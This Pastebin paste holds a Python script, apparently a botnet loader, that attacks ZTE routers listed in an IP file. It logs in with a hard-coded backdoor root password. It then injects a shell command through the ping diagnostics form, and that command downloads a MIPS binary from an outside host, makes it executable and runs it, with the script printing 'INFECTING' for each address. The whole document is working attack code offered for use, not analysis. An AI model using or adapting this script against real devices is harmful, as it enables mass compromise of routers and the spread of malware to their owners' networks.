Advertisement
ITz_Linux

rgrsedhtrsjhytdjytdhtdxgsrsrs

Mar 30th, 2020
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.50 KB | None | 0 0
  1. #! python !#
  2. #ITz Linux zte.py
  3. import threading, sys, time, random, socket, subprocess, re, os, base64, struct, array, requests
  4. from threading import Thread
  5. from time import sleep
  6. import requests
  7. from requests.auth import HTTPDigestAuth
  8. from decimal import *  
  9. ips = open(sys.argv[1], "r").readlines()
  10.  
  11. login_payload = "Frm_Logintoken=4&Username=root&Password=W%21n0%26oO7."
  12.  
  13. command_payload = "&Host=;$(cd /tmp;wget http://1.1.1.1/bins/bin.mips; chmod 777 bin.mips; ./bin.mips zte)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit"
  14.  
  15. def run(cmd):
  16.     subprocess.call(cmd, shell=True)
  17. class rtek(threading.Thread):
  18.         def __init__ (self, ip):
  19.             threading.Thread.__init__(self)
  20.             self.ip = str(ip).rstrip('\n')
  21.         def run(self):
  22.             try:
  23.                 print "\033[32mINFECTING\033[31m" + self.ip
  24.                 url = "http://" + self.ip + ":8083/login.gch"
  25.                                 url2 = "http://" + self.ip + ":8083/manager_dev_ping_t.gch"
  26.                 url3 = "http://" + self.ip + ":8083/getpage.gch?pid=1001&logout=1"
  27.                                
  28.                 requests.post(url, timeout=3, data=login_payload) # bypass auth with backdoor
  29.                 requests.post(url2, timeout=2.5, data=command_payload) # command injection in ping function
  30.                                 requests.get(url3, timeout=2.5) # logout so we dont keep the session open (it happens and its annoying)
  31.  
  32.             except Exception as e:
  33.                 pass
  34. for ip in ips:
  35.     try:
  36.         n = rtek(ip)
  37.         n.start()
  38.         time.sleep(0.03)
  39.     except:
  40.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement